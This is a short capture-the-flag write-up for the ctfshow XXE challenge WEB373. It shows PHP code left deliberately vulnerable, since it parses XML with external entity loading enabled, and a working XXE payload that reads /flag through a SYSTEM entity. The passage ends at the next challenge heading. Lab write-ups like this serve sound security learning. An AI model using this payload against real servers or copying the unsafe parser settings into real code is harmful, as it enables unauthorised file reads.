ctfshow_XXE

WEB373

Let's first take a look at the XXE vulnerability in understanding the vulnerability

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    
    
    $dom = new DOMDocument();  //创建内部类Document对象
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);通过解析一个 XML 标签字符串来组成该文档。
    $creds = simplexml_import_dom($dom); //把 DOM 节点转换为 SimpleXMLElement 对象。
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);

The payload is released directly here:

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<yu22x>
<ctfshow>&xxe;</ctfshow>
</yu22x>

Get flag

WEB374